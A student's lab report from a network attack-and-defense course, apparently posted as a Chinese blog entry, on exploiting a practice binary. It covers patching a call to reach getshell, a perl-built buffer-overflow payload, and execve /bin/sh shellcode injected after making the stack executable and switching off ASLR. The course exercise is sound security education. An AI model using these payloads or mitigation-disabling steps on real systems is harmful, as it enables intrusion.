20232802 2023-2024-2 《网络攻防实践》实践九报告

20232802 黄千里 2023-2024-2 《网络攻防实践》实践九报告

1.实践过程

首先在kali虚拟机中将用户名改为hql,这种方式只是临时修改主机名,重启之后主机名会恢复原来的名称
通过mv的命令修改pwn1文件名为pwn20232802
在这里插入图片描述
可以看到文件名修改成功
在这里插入图片描述

1.1可执行文件的修改

尝试运行pwn20232802,发现其功能就是将输入原样输出
在这里插入图片描述
输入objdump -d pwn20232802 | more命令反编译这个可执行文件
在这里插入图片描述
往下翻,找到main函数,foo函数,getshell函数,发现在main函数中调用了foo函数
在这里插入图片描述
我们要做的是将call语句的目标地址重定向为getshell函数,来实现攻击
从上述命令可知,call的机器码为e8,而e8之后跟着的是其地址的机器码的倒序
call指令在编译后,以call所在位置为基址,然后把被call的位置的偏移地址汇编成字节码,此时会跳转到foo函数所在地址8048491,我们可以得到80484ba+ffffffd7=8048491
我们想要跳转到getshell的函数地址,即0804847d,而804847d-80484ba=ffffffc3,所以我们需要将d7ffffff改为c3ffffff
用vi打开pwn20232802文件,发现是乱码
在这里插入图片描述
需输入:%!xxd命令,将文件转换为十六进制显示
在这里插入图片描述
将d7ffffff改为c3ffffff
在这里插入图片描述
修改成功后,需要输入命令:%!xxd -r令文件恢复为原格式,再保存
再次输入objdump -d pwn20232802 | more命令验证文件是否修改成功
在这里插入图片描述
发现修改成功
在这里插入图片描述
重新运行pwn文件,看文件功能是否改变
在这里插入图片描述
可以看到我们能够成功控制命令行,攻击成功
在这里插入图片描述

1.2改变指令流,实现BOF攻击

再次使用objdump -d pwn20232802 | more命令反编译文件观察foo函数,可以看到foo函数在栈中预留了0x1c大小,即28个字节的缓冲区
当输入的字符串长度超出了它预留空间的话,会出现缓冲区溢出的情况
我们需构造一个长字符串,写入缓冲区使其溢出,溢出部分将覆盖原始的返回地址,变成getshell函数的起始地址,而在给字符串预留的28字节的上面4个字节存放的是main函数的栈底地址,再上面的4个字节就是返回地址,所以我们要构造字符串的33-36字节为0x7d840408
使用perl命令可以直接输入十六进制数,并使用输出重定向符号“>”将perl生成的字符串存储到一个文件中
输入命令perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ > 20232802input
将字符串"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"重定向到文件20232802input中
在这里插入图片描述
再使用xxd命令查看文件内容是否成功修改
在这里插入图片描述
输入(cat 20232802input;cat) | ./20232802pwn命令进行查看
可以看到攻击成功
在这里插入图片描述

1.3注入shellcode代码

为进行shellcode代码注入实验,我们需要首先安装execstack,但是改变hostname后安装过程会报"Temporary failure in name resolution",故选择使用kali原来的主机名
首先通过链接http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb下载Execstack,下载后在文件位置使用命令dpkg -i execstack_0.0.20131005-1+b10_amd64.deb即可完成安装,安装成功后可正常使用execstack工具
输入sudo execstack -s ./pwn20232802命令,将堆栈设为可执行状态
输入sudo execstack -q ./pwn20232802命令,查看文件pwn的堆栈是否为可执行状态
在这里插入图片描述
输入命令echo “0” > /proc/sys/kernel/randomize_va_space,关闭地址随机化;
输入命令more /proc/sys/kernel/randomize_va_space,查看地址随机化状态
在这里插入图片描述
输入命令构建字符串并保存到input_shellcode文件中,其中前四字节还不确定,使用16进制1234填充
perl -e ‘print “A” x 32;print “\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00”’ > input_shellcode
接下来我们来确定\x4\x3\x2\x1到底应该填什么。注入这段字符串,输入命令(cat input_shellcode;cat) | ./pwn20232802
在这里插入图片描述
再打开另一个终端,首先使用命令找到pwn20232802的进程号,可以看到是3286
在这里插入图片描述
再使用gdb调试该进程
安装gdb
在这里插入图片描述
启动gdb进行调试
在这里插入图片描述
输入指令"attach 3286"找到对应的进程
在这里插入图片描述
输入命令disassemble foo,对foo进行反编译
在这里插入图片描述
因为函数一旦执行到ret就会退出,所以我们在ret处要设置一个断点
输入命令b *0x080484ae,设置断点
输入命令c,继续执行程序
在运行pwn20232802的终端中按下回车继续执行程序
输入info r esp查看栈顶指针所在位置,查看到栈顶指针所在的位置:0xffffd3cc
输入指令"x/16x 0xffffd3cc"查看存放内容。其中的0x04030201,就是返回地址的位置在这里插入图片描述
计算ffffd3cc+00000004=ffffd3d0
在这里插入图片描述
输入指令perl -e ‘print “A” x 32;print “\xd0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00”’ > input_shellcode
构造最终的shellcode内容
在这里插入图片描述
然后输入(cat input_shellcode;cat) | ./pwn1命令再次运行可以看到攻击成功
在这里插入图片描述

2.学习中遇到的问题及解决

  • 问题1:使用命令sudo apt-get execstack安装软件包时系统提示无法定位软件包 execstack
  • 问题1解决方案:在尝试了多种方法后根据同学的经验用https://debian.pkgs.org/10/debian-main-amd64/execstack_0.0.20131005-1+b10_amd64.deb.html链接下载软件包,下载到本地后,使用apt的命令即可完成安装
  • 问题2:在 对foo进行反编译并设置断点后程序无法在断点位置停止,需手动停止,后续返回的栈顶指针位置也不对
  • 问题2解决方案:自查后发现1.3中使用的pwn文件是1.2中被BOF攻击后的pwn文件,重新下载pwn1文件后进行实验便可以顺利完成实验,后续返回了正确的栈顶指针位置

3.实践总结

这次实践最大的收获是理解了缓冲区溢出的攻击原理,同时也熟悉了gdb等调试工具的操作,并且养成了截图的习惯,可以更好地试错,进行自查找到错误步骤所在。希望之后能多学习缓冲区溢出攻击相关知识,获得更深的理解。

参考资料

  • 41
    点赞
  • 39
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值